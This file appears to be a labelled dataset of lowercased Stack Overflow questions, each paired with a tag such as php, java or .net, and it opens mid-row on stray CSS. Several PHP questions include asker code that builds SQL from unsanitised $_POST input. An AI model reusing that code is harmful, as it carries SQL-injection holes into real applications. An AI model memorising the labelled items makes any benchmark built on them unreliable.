 a:visited {
  color: #6c6c6c;
 }
 a:hover  a:active  a:focus {
  text-decoration: none;
  color: #7f7f7f;
 }
 .menu {
  background-color: #b1cce0;
  text-align: center;
  width: 100%;
  min-width: 740px;
  max-width: 1000px;
  left: auto;
  right: auto;
  float: left;
  margin-left: auto;
  margin-right: auto;
 }
 .menu &gt; span {
     display:inline-block;
     margin:0 auto;
 }
  #nav {
  display: inline;
  text-align: left;
  position: relative;
  list-style-type: none;
  z-index: 1000;
 }
  #nav &gt; li {
  float: left;
  padding: 0;
  position: relative;
  color: #6c6c6c;
 }
  #nav &gt; li &gt; a {
  border: 1px solid transparent;
  color: #cccccc;
  display: block;
  font-size: small;
  padding: 3px 10px;
  position: relative;
  text-decoration: none;
  font-weight: bolder;
  -webkit-box-shadow: 0px 0;
  box-shadow: 0px 0;
  text-shadow: 0px 0;
 }
  #nav &gt; li &gt; a:hover {
  background-color: #e4ecf4;
  border-color: #999;
 }
  #nav &gt; li.selected  &gt; a {
  background-color: #171717;
  border-color: #999999 #999999 #ffffff;
  z-index: 2;
 }
  #nav li div {
     position:relative;
 }
  #nav li div div {
  background-color: #ffffff;
  border: 1px solid #999999;
  padding: 12px 0;
  display: none;
  margin: 0;
  position: absolute;
  top: -1px;
  z-index: 1;
  width: 190px;
 }
  #nav li div div.wrp2 {
  width: 380px;
  background-color: #171717;
 }
  #nav .sep {
     left:190px;
     border-left:1px solid #e3e3e3;
     bottom:0;
     height:auto;
     margin:15px 0;
     position:absolute;
     top:0;
     width:1px;
 }
  #nav li div ul {
  padding-left: 10px;
  padding-right: 10px;
  position: relative;
  width: 170px;
  float: left;
  list-style-type: none;
  background-color: #171717;
 }
  #nav li div ul li {
     margin:0;
     padding:0;
 }
  #nav li div ul li h3 {
  border-bottom: 1px solid #e3e3e3;
  color: #4f87c5;
  font-weight: bold;
  margin: 0 5px 4px;
  padding-bottom: 3px;
  padding-top: 3px;
  font-size: small;
 }
  #nav li div ul li h3 a {
  color: #4f87c5;
  font-weight: bold;
  font-size: small;
 }
  #nav li div ul li h3 a:hover {
  color: #89b3e1;
  font-weight: bold;
  font-size: small;
 }
 
 
  #nav li ul ul {
  padding-top: 0;
  padding-right: 0;
  padding-left: 0;
  padding-bottom: 0;
  bottom: 8px;
 }
  #nav li ul ul li {
  margin-bottom: 1px;
  padding-top: 3px;
  padding-right: 5px;
  padding-left: 5px;
  padding-bottom: 3px;
 }
  #nav li ul ul li a {
  color: #cccccc;
  display: block;
 
  text-decoration: none;
  font-size: 10px;
  font-weight: bold;
 }
  #nav li ul ul li a:hover{
  background-color: #171717;
  color: #ffffff;
 }</code></pre>
 </div>
 </div>",css
is there any way i can use wildcards or a like statement in sql to identify usernames that follow this pattern in their name   this is just an sql question regarding how you would for example identify users who had a username with the format:  [uppercase  lowercase  lowercase  uppercase  and lowercase letters].  examples  judejose  syedsaji  abbasode etc.    so a query might be something like:   <pre><code>select * from users where username        </code></pre>,sql
what s the correct way to destroy a javascript function   i m not too familiar with object orientated javascript but lets say i have a function which i  <em>instantiated</em>..       is that the correct terminology     the function contains an <code>xmlhttprequest</code> with an attached event listener  what would be the correct way to dispose the function    <pre><code>function foo() {     var self = this;     self.message =  received response ;     self.url =  someurl ;     self.req = new xmlhttprequest();     self.req.open( post   self.url  true);     self.req.onload = function () {         console.log(self.message); // unable to get property  message  of          // undefined or null reference     };     self.req.send();     self = null; }  var foo = new foo(); </code></pre>   i realize this is not how i should abort an <code>xmlhttprequest</code> but its just an example  the question is how should i cleanly destroy a function and all that it spawned or created     <strong><em>edit</em></strong>    to clarify  my confusion is with <code>self.req.onload</code> and how it can even exist when <code>self</code> = <code>null</code>  my thought would be that <code>self.req</code> no longer exists and therefore its events too but this is obviously not the case,javascript
package manager console  in package  manager console there is an error like this.that time i want to add migrations.   <pre><code>error message:      the process cannot access the file     c:\users\admin\appdata\local\temp\__psscriptpolicytest_vhkzjull.ckn.ps1     because it is being used by another process.   </code></pre>,.net
.net 3.5 application on .net 4.0 runtime  if i have an application built to target .net 3.5  will it run if all the user has installed is .net 4.0  a link to official msdn documentation stating this would put my worries to rest.,.net
how can include two types of quotes in a string in php   i need to build the following string:   <pre><code>#&lt;tr class= [^ ]* &gt; &lt;td&gt;&lt;div class= grid_content sno &gt;&lt;span&gt;[^ ]*&lt;/span&gt;&lt;/div&gt;&lt;/td&gt; &lt;td&gt; &lt;center&gt; &lt;div class= grid_content2 sno &gt; &lt;span&gt; &lt;img src= https://seriesblanco.com/banderas/es.png &gt; &lt;/span&gt; &lt;/div&gt; &lt;center&gt; &lt;/td&gt; &lt;td&gt; &lt;div class= grid_content sno &gt; &lt;span&gt; &lt;a href= (.* )  target= _blank &gt; &lt;img src= /servidores/powvideo.jpg  width= [^ ]*  height= [^ ]*  /&gt;&lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;/td&gt; &lt;td&gt; &lt;div class= grid_content sno &gt;&lt;span&gt;[^ ]*&lt;/span&gt; &lt;/td&gt; &lt;td&gt; &lt;div class= grid_content sno &gt;&lt;span&gt;[^ ]*&lt;/span&gt;&lt;/td&gt; &lt;td&gt;&lt;/td&gt; &lt;/tr&gt;# </code></pre>   as you can see it has <code>  </code> and <code>  </code> quotes and i m finding impossible to build a string like <code>$string = *codeabove*</code> because it closes itself if i use one kind of quote or another  is there another one,php
i am creating email form to recieve email from customers. i am stuck in undefined method `[]  for nil:nilclass error  my controller is   <pre><code>class contactformcontroller &lt; applicationcontroller def new     @message = message.new    end    def create     @message = message.new(params[:message])      if @message.valid       bookingmailer.new_message(@message).deliver       redirect_to(contactform_path  :notice =&gt;  message was successfully sent. )     else       flash.now.alert =  please fill all fields.        render :new     end   end end </code></pre>   my view is    <pre><code>&lt;div class= row-fluid wiyo_contact_social &gt;     &lt;%= form_for @message  :url =&gt; contactform_path do |form| %&gt;   &lt;fieldset class= fields &gt;     &lt;div class= field &gt;       &lt;%= form.label :name %&gt;       &lt;%= form.text_field :name %&gt;     &lt;/div&gt;      &lt;div class= field &gt;       &lt;%= form.label :email %&gt;       &lt;%= form.text_field :email %&gt;     &lt;/div&gt;     &lt;div class= field &gt;       &lt;%= form.label :subject %&gt;       &lt;%= form.text_field :subject %&gt;     &lt;/div&gt;      &lt;div class= field &gt;       &lt;%= form.label :body %&gt;       &lt;%= form.text_area :body %&gt;     &lt;/div&gt;   &lt;/fieldset&gt;    &lt;fieldset class= actions &gt;     &lt;%= form.submit  send  %&gt;   &lt;/fieldset&gt; &lt;% end %&gt; &lt;/div&gt; </code></pre>   my model is message.rb with database table named  messages    <pre><code>class message &lt; activerecord::base  include activemodel::validations   include activemodel::conversion   extend activemodel::naming    attr_accessor :name  :email  :subject  :body    validates :name  :email  :subject  :body  :presence =&gt; true   validates :email  :format =&gt; { :with =&gt; %r{.+@.+\..+} }  :allow_blank =&gt; true    def initialize(attributes = {})     attributes.each do |name  value|       send( #{name}=   value)     end   end    def persisted      false   end  end </code></pre>   my config sniplet   <pre><code> match  contactform  =&gt;  contactform#new   :as =&gt;  contactform   :via =&gt; :get     match  contactform  =&gt;  contactform#create   :as =&gt;  contactpost   :via =&gt; :post </code></pre>   when i put mywebsite.com/contactform  it gives error undefined method `[]  for nil:nilclass please help me.,ruby-on-rails
how to write app update in ios   have a technic question on writing app updates.     i am redesign my app and adding new features/screens  but not sure whats the best way to manage the code. right now i am saving old code to separate files in case i need it  and then writing the class from scratch. i am pretty sure there are better ways to do it  like to be able to see old/new version side by side  and would appreciate any advice.    thanks.,ios
removing numbers from a character list using java  i wanted to display the numbers occuring in a character list and then remove that number. here is my code:    package mytrials;   <pre><code>import java.util.arraylist; import java.util.listiterator;  public class mytrials {     public static void main(string[] args) {     arraylist&lt;character&gt; list = new arraylist&lt;character&gt;();     list.add( a );     list.add( 1 );     list.add( 5 );     system.out.println(list.size());     for( listiterator i = list.listiterator(list.size());  i.hasprevious();){         character c = (character) i.previous();         if( character.isdigit(c)){             system.out.println(c +   is a digit );             list.remove(c);         }     }     system.out.println(list.size()); } } </code></pre>   here is the error message:   <pre><code>3 5 is a digit exception in thread  main  java.util.concurrentmodificationexception at java.util.abstractlist$itr.checkforcomodification(abstractlist.java:372) at java.util.abstractlist$listitr.previous(abstractlist.java:386) at mytrials.mytrials.main(mytrials.java:27) java result: 1 </code></pre>   what is the cause of this error and how can it be rectified.,java
c# currency combobox  i wanted to make a currency combobox (drop down list) control for my application and given the currencies exist as properties inside the regioninfo object i wandered if anyone had a neat way of putting them into an array.     cheers     richard,c#
access array property member with variable property name  in the context of a class method  what syntax is used to get the value of a array member using a variable property name    <pre><code>class {     private $afruits=array( apple =&gt; red   banana =&gt; yellow   orange =&gt; orange );     public function myfunction(){        $propname =  afruits ;       $keyname =  banana ;        // should be able to do something like:       // expected result:  yellow        return ${$this-&gt;$propname}[$keyname];        } } </code></pre>   this syntax:   <pre><code>return ${$this-&gt;$propname}[$keyname]; </code></pre>   ...isn t quite right though  because it tries to convert <code>$this-&gt;$propname</code> to a string to use as a variable name.    this syntax:   <pre><code>return $this-&gt;$propname[$keyname]; </code></pre>   ... tries to use the value of <code>$propname[$keyname]</code> as the property name which is also incorrect.    there must be some way to get php to evaluate <code>$this-&gt;$propname</code> first  and then get the <code>$keyname</code> from the resultign array (without the use of an intermediary variable),php
oop  constructor not working  i am trying to call constructor  but it is not working. code is something like this:   <h1>// event.h</h1>  <pre><code>class event {   private:     int time;     int date;   public:     event();     event(int t  int d) } </code></pre>  <h1>// event.cpp</h1>  <pre><code>event::event(){}  event::event(int time  int date){ time=time; date=date; } </code></pre>  <hr>   //now in another .cpp file i am trying to call constructor something like this:   <pre><code>event eve; eve(inputtime inputdate); // inputtime and inputdate are inputs 4m user. //error is:  no match for call to â(event) (time&amp;  date&amp;)â </code></pre>   any suggestions..............,c++
c program error - outputting 0  i have been trying to get this to work for days now and i still cannot figure out the error. when i output the code  it prints  but it will not find the amicable pairs (divisor of first == second  and vice versa).   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define _use_math_defines #include &lt;math.h&gt;  int sumdivisors( int num );  int sumdivisors( int num ) {   int counter  total;   for( counter = 1; counter &lt; num; counter++ )     {       if( num % counter == 0 )         {           total += counter;         }     }   return ( total ); }  int main( void ) {   int higher  lower  lowx  lowy  x  y  numofpairs = 0;    printf(  this program finds all amicable numbers within a range. \n  );   printf(  please enter a lower limit: \n  );   scanf(  %d   &amp;lower );   printf(  please enter a higher limit: \n  );   scanf(  %d   &amp;higher );     for( lowx = lower; lowx &lt;= higher; lowx++ )     {       for( lowy = lower; lowy &lt;= higher; lowy++ )         {           if( sumdivisors( lowx ) == sumdivisors( lowy ) )             {               numofpairs++;               printf(  pair #%d: (%d  %d)\n   numofpairs  lowx  lowy );             }         }     }    printf(  there are %d amicable pairs from %d to %d\n   numofpairs  lower  higher );   system( pause );   return ( 0 ); } </code></pre>,c
iis7.0  asp.net 4.0 and .net 4.0 assembly loading problem  i am experiencing a skmmenu.dll assembly loading issue on a win 2008 r2 server box. the following is what the debug output looks like once the request fails to my www.xxxxx.com/yy.aspx : (using ie 8)   <pre>parser error message: could not load file or assembly  skmmenu  or one of its dependencies. the system cannot find the file specified. assembly manager loaded from:  c:\windows\microsoft.net\framework\v4.0.30319\clr.dll running under executable  c:\windows\system32\inetsrv\w3wp.exe --- a detailed error log follows.  === pre-bind state information === log: user = nt authority\network service log: displayname = skmmenu  version=2.2.4187.20308  culture=neutral  publickeytoken=null  (fully-specified) log: appbase = file:///d:/inetpub/wwwroot/ log: initial privatepath = d:\inetpub\wwwroot\bin calling assembly : (unknown). </pre>   running the web app from vs2010 works and the assembly gets found and loaded correctly: this is the log file output from fusion log viewer once a fire up the web app from the ide in debug mode:   <pre>=== pre-bind state information === log: user = americanbus\apersson log: displayname = skmmenu  version=2.2.4187.20308  culture=neutral  publickeytoken=null  (fully-specified) log: appbase = file:///d:/inetpub/wwwroot/newaces/ log: initial privatepath = d:\inetpub\wwwroot\newaces\bin log: dynamic base = c:\windows\microsoft.net\framework\v4.0.30319\temporary asp.net files\newaces\258eee81 log: cache base = c:\windows\microsoft.net\framework\v4.0.30319\temporary asp.net files\newaces\258eee81 log: appname = 3e3bc721 calling assembly : (unknown). log: this bind starts in default load context. log: using application configuration file: d:\inetpub\wwwroot\newaces\web.config</pre>   i noticed that the iis 7.0 / crl is not resolving the web app root directory correctly as when i run the app from vs2010  hence i suspect it is not finding the dll in the first place. look at the inital private path difference in the two log outputs..  the site is open to anyone for access at this point. using virtual directory  binding looks kosher to the ip address.... is there a config setting in iis 7.0 that i am missing here   anyone with an idea   appreciate the input on this issue.    thanks anders,.net
windows service monitor a remote folder  as the title implys  when i use the .net system.io.filesystemwatcher to monitor a local folder  it works prefect. but it failed when i tried to monitor a remote folder on a different domain using the serviceaccount.user and provided username and password for the connection. in truth  this username and password can login on the specified machine  which the remote folder i want to monitor located in. when i tried to install the service  it replied  access is denied .,.net
shifting dictionary elements  i have a dictionary of an undefined size (as big as the user wants) but i want to be able to delete items in the dictionary if needed  my question is how to i move all of the dictionary keys once one has been removed  i.e   <pre><code>transdict={0: charlie   1: alan   2: jake   3: rose } delkey = raw_input( what key to delete ) transdict[delkey] = transdict.pop[int(delkey + 1)]  # this is the bit isn t working code just an  # example of the functionality i need for _id in transdict.keys(int(delkey) + 1:):     transdict[_id] = transdict[(int(_id) + 1)] </code></pre>   but then i need to shift all other elements from 3 onwards down a step  the problem i have is the dictionary can be 5 or 50 elements big.    thanks,python
build java classes from template files  i am using an api  which requires lot of getters and setters and then perform the operation.  is there any template based generation of java code  which reads apis setters/getters and generate code.  also some code is common for all objects.  so i want to keep the common code in the template  and generated getter or setter code based on api.  is there any process/tool to do that,java
read only header lines from a log file  at my workplace  we have log files which can grow up to gigabytes in size  if all parameters are set. the format of these files are:   <pre><code>[header row 1]   xml line 1   xml line 2   . . .   xml line x [header row 2]   xml line 1   xml line 2   . . .   xml line y .  .  . [header row n]   xml line 1   xml line 2   . . .   xml line z </code></pre>   the header row has useful information  such as the datetime stamp of the message  and its general type. parsing the entire file would take a long time  so ideally i would like to do an initial pass through the log file  ignoring all lines except ones which start with  [ . however  i am unexperienced with the various .net io classes. could someone please recommend an efficient way to do this     oh  and i forgot - this has got to work with a file which is currently open for writing in another process. no big ask :-),.net
how to change the localhost to ip address  i am working on asp.net application  when i run using http:\\localhost:1322 i can see the site.    but if i give my ip address http:\\111.111.11.11:1322   i get page not found. even in my desktop    is there any change in setting to be done. because of this i cant send the url to other people in the team.    the ip address i am typing is correct :)    any guidancewil be of gr8 help,.net
reading multiple cvs files sequentially(open close high low) and calculating moving average convergence divergence  please i need help to read through a cvsfile sequentially and calculating the macd. what i have is not working  i will appreciate any correction. <strong>requirement</strong>     provides a convenient means of downloading an investment s history consisting of the following fields: ticker  date  open  high  low  close  and volume.     download a year s history for each of the following investments into separate .csv files:  f ford ipg interpublic grp cos  rtn raytheon co  symc symantec corp  twx time warner tjx  tjx companies vsh  vishay intertechnolog...  ibm international business machines.  reading each file sequentially  use string split or the tokenizer with a comma as a delimiter to parse each of the .csv files into fields. use each investment s history fields to determine the moving average convergence divergence (macd) for each of the investments as of 4/1/2016 per    <pre><code>import java.io.bufferedreader;  import java.io.filereader;  import java.util.stringtokenizer;    public class invest // class name and identifier  {  // main method begins execution of java application  // this method will not return information  public static void main(string[] args)   {  try          {                    // csv file containing data      string ford =  /users/ajibadeadedapo/documents/investmentcv/f.csv ;     string interpublic =  /users/documents/investmentcv/ipg.csv ;     string raytheon =  /users/documents/investmentcv/rtn.csv ;     string symantec =  /users/documents/investmentcv/symc.csv ;     string timewarner =  /users/ajibadeadedapo/documents/investmentcv/twx.csv ;     string tjxcomp =  /users/documents/investmentcv/tjx.csv ;     string vishay =  /users/documents/investmentcv/vsh.csv ;     string interbusiness =  /users/ajibadeadedapo/documents/investmentcv/ibm.csv ;                // create bufferedreader to read csv file              bufferedreader bufferedford =               new bufferedreader( new filereader(ford));              bufferedreader bufferedinterpublic  =               new bufferedreader( new filereader(interpublic));              bufferedreader bufferedraytheon  =               new bufferedreader( new filereader(raytheon));              bufferedreader bufferedsymantec  =               new bufferedreader( new filereader(symantec));              bufferedreader bufferedtimewarner  =               new bufferedreader( new filereader(timewarner));              bufferedreader bufferedtjxcomp  =               new bufferedreader( new filereader(tjxcomp));              bufferedreader bufferedvishay  =               new bufferedreader( new filereader(vishay));              bufferedreader bufferedinterbusiness  =               new bufferedreader( new filereader(interbusiness));                string stringline =   ;              stringtokenizer stringtokenizer = null;              int linenumber = 0  tokennumber = 0;                system.out.println( ford history (token #1-date  token                +  #2-open  token #3-high  token #4-low  token                +  #5-close  token #6-volume  token #7-12 day ema                 +  token #8-26 day ema  token #9-macd): );                 // read comma separated file line by line              while((stringline = bufferedford.readline()) != null)              {              linenumber++;              if(linenumber == 254) // read only this line              {                          // break comma separated line using                  stringtokenizer = new stringtokenizer              (stringline     );                while(stringtokenizer.hasmoretokens())              {              // display csv values              tokennumber++;              {              system.out.println( line #   +               linenumber +    token #   + tokennumber                              +    token :   +               stringtokenizer.nexttoken());              }                }              }                                 // reset token number                  tokennumber = 0;              }  </code></pre>,java
angularjs ng-repeat not updating dom nodes when element is inserted dynamically  <code>ng-repeat</code> is not updating dom nodes when we use same controller name in different area.   <pre><code>&lt;div ng-controller= customer &gt;     &lt;div ng-repeat= number in numberarray &gt;          {{number}}                                         &lt;/div&gt; &lt;/div&gt;  &lt;div ng-controller= customer &gt;     &lt;div ng-repeat= number in numberarray &gt;          {{number}}                                         &lt;/div&gt;    &lt;input type= text  ng-model= ncdialtext /&gt;    &lt;button ng-click= add() /&gt; &lt;/div&gt;  myapp.controller( customer  function($scope  $http) {        $scope.numberarray =[];        $scope.add = function() {            $scope.numberarray.push($scope.ncdialtext);        }     }); </code></pre>,angularjs
how can i set the title programatically  how can i set the current view title(by title i mean the text shown below battery &amp; time(in the image below that would be  menu sample ) programatically  i found many examples using manifest file but none from code.    <a href= https://i.stack.imgur.com/5wqdi.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/5wqdi.png  alt= android set title programatically ></a>,android
using cin to insert elements to a map in c++  i have no idea on how to use cin in order to insert data to a map.    i believe it should look something like this:   <pre><code>for(int i=0; i&lt;=n;i++){     mapas.insert (  /*word from cin*/  i );     /*or*/     mapas[/*word from cin*/]=i;   } </code></pre>   here is my full code:   <pre><code>#include &lt;iostream&gt; #include&lt;algorithm&gt; #include &lt;string&gt; #include &lt;map&gt;  using namespace std;  int main() {    map&lt;string int&gt;mapas;    map&lt;string int&gt;::iterator it;   int n;//how many words there will be   string zodis;//the word i will be looking for later   cin&gt;&gt;n;   cin&gt;&gt;zodis;       for(it=mapas.begin();it!=mapas.end();it++){     cout&lt;&lt;it-&gt;first&lt;&lt;endl;}    } </code></pre>   any ideas would be appreciated because im about to kill myself,c++
updating a table based on contents of the same table  i have a table:   <pre><code>id  number  name  display_name  0001  1  category 1  null 0001-0002  2  category 2  null 0001-0002-0003  3  category 3  null </code></pre>   the id is the full path to the category  the number is just the final category number. i d like display_name updated to include the full names from all categories in the path  so they d end up as   <pre><code>0001  1  category 1  category 1 0001-0002  2  category 2  category 1 &gt; category 2 0001-0002-0003  3  category 3  category 1 &gt; category 2 &gt; category 3 </code></pre>   i know i can generate these on the fly by lookups to the number column  but this table doesn t need to change that often but it has a lot of lookups -- it seems wasteful not to just calculate and store the data once. i can do this in php but it s slow and i assume there s a better way to do it  or perhaps i m just going about this in completely the wrong way. i realise there s plenty of redundancy in the table... i m happy for any input.    i got as far as   <pre><code>update categories set display=(select name from (select name from categories where number=1) t) where number=1 </code></pre>   but that obviously just copies the name to the display name.,mysql
rails build association from the polymorphic belongs_to object  i have a polymorphic relation as follows:   <pre><code>class profile   belongs_to :practice  polymorphic: :true end  class foreclosurepractice   has_one :profile  as: :practice end   </code></pre>   i want to build a practice object based on the profile i have  but unfortunately practice returns nil:   <pre><code>p = profile.new p.practice # =&gt; nil </code></pre>   how can i build the practice object from the profile object,ruby-on-rails
how do you repeat the same jquery code on a css class element   i have this jquery code    <pre><code> $( .slickbox ).hide();   // toggles the slickbox on clicking the noted link     $( .slick-toggle ).click(function() {     $( .slickbox ).toggle(400);     return false;   }); </code></pre>   and this applies to several div s with the same class on the page   however when i click on one  all of them open   what i could do is set an id instead of a class and repeat the same code for each id   is there a way to make it so that even with a class each div opens on its own independent of the others.  let me know if there is need for clarification as my descriptive skills are not the best     the html :   <pre><code>     &lt;a href= #  class= slick-toggle &gt;   &lt;img src= images/pc.de/plus.png  width= 16  height= 16  alt= new  /&gt;&lt;/a&gt; &lt;div class= slickbox &gt;         new video category: &lt;input type= text  name= video_link_youtube  value=    /&gt;        &lt;/div&gt; </code></pre>,jquery
native  hybrid  and web app definitions  can anyone help me in understanding what the difference is between hybrid  native and web applications for ios,ios
not understand this recursive function that inverts digits of a number  i found this code   <pre><code>#include &lt;stdio.h&gt; #include &lt;math.h&gt;  int rev(int num) {     if(num &lt; 10)         return num;     else         return (num % 10) * pow(10  (int)log10(num)) + rev(num/10); }  int main(void) {     printf( %d\n   rev(12345));      return 0; } </code></pre>   and i set out to analyzing it  but now i have one doubt it is the following  to return to the starting point what values are obtained with <em>(num % 10)</em> according to my understanding should be (1 2 3 4 5) but when trying do the calculation manually i do not get the expected value.    what happens here  if someone explains to me this  or i missed out something,c
php: is it a good idea to add quotes to all $_get & $_post   in wordpress  i notice they have a function called <code>wp_magic_quotes()</code> (<a href= http://codex.wordpress.org/function_reference/wp_magic_quotes  rel= nofollow >docs</a>).    here s an example:   <pre><code>// if already slashed  strip. if ( get_magic_quotes_gpc() ) {     $_get    = stripslashes_deep( $_get    );     $_post   = stripslashes_deep( $_post   );     $_cookie = stripslashes_deep( $_cookie ); }  // escape with wpdb. $_get    = add_magic_quotes( $_get    ); $_post   = add_magic_quotes( $_post   ); $_cookie = add_magic_quotes( $_cookie ); $_server = add_magic_quotes( $_server ); </code></pre>   in my own code (separate from wordpress)  is there any benefit to doing this  any security benefits      perhaps wordpress do this because their software is used on so many environments they need to make them consistent.    my software is on a single environment and i m using a pdo connection for my database which is already escaping data.     i m just trying to work out if there s any benefit to doing this sort of thing.,php
how to build a testing class  i m currently creating a program for a specific specification. i have completed the first task  and to prove it runs correctly i m required to  write a simple class called pizzabuild which contains a main method which demonstrates this working.      does anyone have any tips on doing this  because i ve no idea how to do it unless i literally copy all the code into the one class  but that d defeat the purpose.    thanks a lot.,java
javascript copying element value  where element name has a period  if an html element id has no period in it  then copying between elements is of course trivial  e.g.:   <pre><code> var theform = document.paymentform;  theform.billstreet1.value = theform.shipstreet1.value; </code></pre>   i ve got a case where i need to have period in my ids  namely id= bill.street1  and id= ship.street1   and the following doesn t work :-(   <pre><code> theform.bill.street1.value = theform.ship.street1.value; </code></pre>   can you please let me know how to handle the period   does jquery make this simpler,javascript
moving to oop hopefully!  so i am trying to understand oop more and use it.    the following code was written before i started using oop.   <pre><code>//loop through all the users  $game =  $_post[game]_teams ; $result = mysql_query( select username from `users` ) or die(mysql_error()); while( $row=mysql_fetch_assoc($result) ) {     $u[] = $row[ username ]; } </code></pre>   i have put the query into my database page like following:   <pre><code>   function selectallusers()    {         $q =  select username from  .tbl_users.  ;         mysql_query($q  $this-&gt;connection);    } </code></pre>   i m a little confused about how the rest could be different  would it be  is it possible for anyone to help me without more code or understanding of my structure,php
quickest way to find broken divs  i have a site that is calling a great deal of html from a third party source. trouble is  i think they are returning malformed code to me.    i need a quick way to find additional div closures  is this possible,html
html browser statement  i have a panel  where i d like to have different things appear as you use different browsers  when using ie  firefox or others. i would rather not like to make this for every browser  but only for this 3 statement.    the question is  would the following code work prefectly  or is there any other way to declare two browsers at the same time    <pre><code>&lt;!--[if ie]&gt; this is ie &lt;![endif]--&gt; &lt;!--[if firefox]&gt; this is firefox &lt;![endif]--&gt; &lt;!--[if !ie &amp; !firefox]&gt; this is not ie and not firefox  but something else. &lt;![endif]--&gt; </code></pre>,html
cant access column of a record in rails 4  i have cartridge model with cartridge_name:   <pre><code>t.string    cartridge_name   null: false </code></pre>   i perform query on it:   <pre><code>@cartridge = cartridge.where( cartridge_name=     #{value[:cartridge_id]} ) </code></pre>   it returns an object:   <pre><code>&lt;activerecord::relation [#&lt;cartridge id: 1  cartridge_name:  hp laserjet 3000   note:     created_at:  2015-04-14 08:05:37   updated_at:  2015-04-14 08:05:37 &gt;]&gt; </code></pre>   but when i try to access @cartridge.id or @cartridge.cartridge_name it return an error:   <pre><code>nomethoderror: undefined method `cartridge_name  for #&lt;cartridge::activerecord_relation:0x007fbd77bf38f8&gt; </code></pre>   i have no idea why is it like that. what can cause that error,ruby-on-rails
mysql select last n rows for list of id s  <strong>fixture</strong> table   <pre><code>uid home_uid away_uid winner date       season_division_uid 1   26       6        6      2013-07-30 18 2   8        21       8      2013-06-30 18 3   6        8        8      2013-06-29 18 4   21       26       21     2013-05-20 18 5   6        26       6      2013-04-19 18 </code></pre>   this table contains hundreds of rows.    currently i have a query to select all the teams in a division  i.e.    <pre><code>select team_uid  from season_division_team  where season_division_uid= 18  </code></pre>  <ul> <li>which lists the rows of team uid s i.e. [6 26 8 21 26].</li> </ul>   now for each of the unique team ids  i would like to return the last 3 winner values  ordered by the date column  that they were involved in (they could be an away_uid or home_uid).    so the returned value example would be:   <pre><code>team_id winner date 6       6      2013-07-30 6       8      2013-06-29 6       26     2013-04-19 26      6      2013-07-30 26      21     2013-05-20 26      6      2013-04-19 </code></pre>   any ideas  thank you,mysql
function that returns arbitrary decimal place on javascript  i want to make some function on javascript  that receives some number and position number <code>n</code> and returns its <code>n</code>th decimal place.    that is    <pre><code>nthdigit(3.5852 2) = 8 nthdigit(3.5852 3) = 5 nthdigit(3.5852 5) = 0 nthdigit(9.772 1) = 7 </code></pre>   how can i do this correctly  thanks.,javascript
"selected text from database does not update  i m trying to update text i ve selected and displayed in a textarea to my database. the text is selected and displayed so nothing wrong with the connection.php. but when i change the text and press save it does not update the text in the database  however it shows that the data is stored in the variables $tekstarea and $tekstidarea. could anyone help me out     here is my code:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt; php
     session_start();
     include  connection.php ;
  &gt;
 
 
 &lt; php   
         //get resulsts from database
         $query =  select * from tekst ;
      $result = mysqli_query($conn  $query);
         
         while ($row = mysqli_fetch_array($result)) {
             $tekstid = $row[ tekstid ];
             $text = $row[ text ];
    
             echo  &lt;form method= post  action=  &gt;
             &lt;input name= tekstidarea  value=  . $tekstid .  &gt;
             &lt;br /&gt;
             &lt;textarea name= textarea  rows= 20 &gt;  . $text .  &lt;/textarea&gt;
             &lt;br /&gt;
             &lt;button type= submit  name= submit  class= btn &gt;save&lt;/button&gt;&lt;br /&gt;&lt;br /&gt; ;
 
         }
 
 if (isset($_post[ submit ])) {
             
     $tekstarea = $_post[ textarea ];
     $tekstidarea = $_post[ tekstidarea ];
     $sql =  update tekst set  text  =  $tekstarea  ;
     $res = mysqli_query($conn  $sql);
     
     if(!$res)
     {
         echo  could not update  . mysql_error() .  &lt;br /&gt; ;
         echo $tekstarea .  &lt;br /&gt; ;
         echo $tekstidarea .  &lt;br /&gt; ;
     }
     mysqli_close($conn);
 }
  &gt;
             </code></pre>
 </div>
 </div>
     thanks in advance     ahnkheg    <strong>edit:</strong> added form closing tag. changed mysql_error() to mysqli_error($conn).",php
how can i loop through json file   i have a json file:   <pre><code>{      stats : {          operators : {              recruit1 : {                  won : 100                   lost : 50                   timeplayed : 1000             }               recruit2 : {                  won : 200                   lost : 100                   timeplayed : 2000             }               recruit3 : {                  won : 50                   lost : 10                   timeplayed : 500             }         }           modes : {              secure : {                  won : 80                   lost : 40                   bestscore : 7582             }               bomb : {                  won : 12                   lost : 18                   bestscore : 4500             }         }     } } </code></pre>   and i want to display it in a table :  <img src= https://i.stack.imgur.com/bjkoq.jpg  alt= like this >.    <strong>i have tried to use for in loop but i only got names without their values.</strong>,javascript
how to convert string to hexadecimal   i have a string <code>0xff</code>  is there any function like <code>atoi</code> which reads that string and save in a <code>uint32_t</code> format,c
insert query with select query  i want to select category id  category name  category type  average of rate columns in review table and i want to save it result table category id  category name  category type  average of rate in automatically. so i tried below code. but it didn t work. so if you have any solution please help me to fix this  or if have another method to accomplish my task can you please describe it. help me to fix this error to quickly. i want to select category id  category name  category type  average of rate columns in review table and i want to save it result table category id  category name  category type  average of rate in automatically. so i tried below code. but it didn t work. so if you have any solution please help me to fix this  or if have another method to accomplish my task can you please describe it. help me to fix this error to quickly.   <pre><code>&lt; php $con=mysql_connect( localhost   root    ); $db=mysql_select_db( testing  $con); function setreviews($con){     if (isset($_post[ submit ])) {         $user_email=$_post[ user_email ];         $user_name=$_post[ user_name ];         $review=$_post[ review ];         $rate=$_post[ rate ];         $sql=mysql_query( select user_email from review where user_email= $user_email  );         if (mysql_num_rows($sql)&gt;0) {             echo  user mail already exist ;         }else{             mysql_query( insert into review(user_email user_name rate review) values ( $user_email   $user_name   $rate   $review ) );         echo  submitted ;         }     } }  function getratingsave($con){     $category_id=1;         $sql= insert into result (category_id cat_name cat_type t_rate) select category_id avg(rate) cat_name cat_type from review where category_id= $category_id  ;         $result=mysql_query($sql $con); }  &gt; </code></pre>,php
